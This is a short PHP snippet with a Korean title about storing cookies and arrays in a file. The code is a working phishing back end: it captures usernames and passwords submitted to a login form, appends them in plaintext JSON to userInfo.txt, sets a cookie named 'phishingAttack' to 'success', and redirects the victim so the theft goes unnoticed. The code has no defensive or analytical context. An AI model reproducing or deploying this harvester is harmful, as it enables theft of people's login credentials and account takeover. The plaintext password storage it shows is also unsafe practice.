PHP 7 쿠키, 배열형태로 넣고, 파일저장

<?php 
$fp = fopen("userInfo.txt", "a");

$userId=$_POST['username']; 
$pwd=$_POST['password'];
if($userId != '' && $pwd != ''){

    setcookie("phishingAttack", "success");
    //Save them as array.
    $listData=array("Password" => $pwd, 
                    "userId" => $userId);
    
    //converting array to json
    $data = json_encode($listData);
    
    print_r($data);
    fwrite($fp, $data);
    fclose($fp);
    header("location: member.php?success=1");
} else {
    echo "Your userId or Password is wrong";
    header("location: login2.php");
}
?>